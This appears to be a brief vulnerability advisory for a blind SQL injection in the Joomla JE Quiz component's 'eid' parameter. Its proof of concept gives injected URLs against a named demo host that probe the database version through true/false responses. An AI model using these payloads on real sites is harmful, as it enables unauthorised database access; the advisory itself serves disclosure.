Joomla JE Quiz Blind SQL Injection

`[~]>> ...[BEGIN ADVISORY]...  
  
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[~]>> TITLE: Joomla (JE Quiz component) BLIND SQL Injection Vulnerability   
[~]>> LANGUAGE: PHP  
[~]>> DORK: N/A  
[~]>> RESEARCHER: B-HUNT3|2  
[~]>> CONTACT: bhunt3r[at_no_spam]gmail[dot_no_spam]com  
[~]>> TYPE: COMMERCIAL  
[~]>> PRICE: $20.00  
[~]>> TESTED ON: Demo Site  
  
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[~]>> DESCRIPTION: Input var eid is vulnerable to SQL Code Injection  
[~]>> AFFECTED VERSIONS: Confirmed in 1.b01 but probably other versions also  
[~]>> RISK: Medium/High  
[~]>> IMPACT: Execute Arbitrary SQL queries  
  
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[~]>> PROOF OF CONCEPT:  
  
[~]>> http://demo.joomlaextensions.co.in/index.php?option=com_jequizmanagement&view=question&eid=[SQL]&Itemid=163  
  
[~]>> {RETURN TRUE::RETURN FALSE}  
  
[~]>> http://demo.joomlaextensions.co.in/index.php?option=com_jequizmanagement&view=question&eid=1+AND+1=if(substring(@@version,1,1)=5,1,0)&Itemid=163  
[~]>> http://demo.joomlaextensions.co.in/index.php?option=com_jequizmanagement&view=question&eid=1+AND+1=if(substring(@@version,1,1)=4,1,0)&Itemid=163  
  
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!  
  
[~]>> ...[END ADVISORY]...  
  
`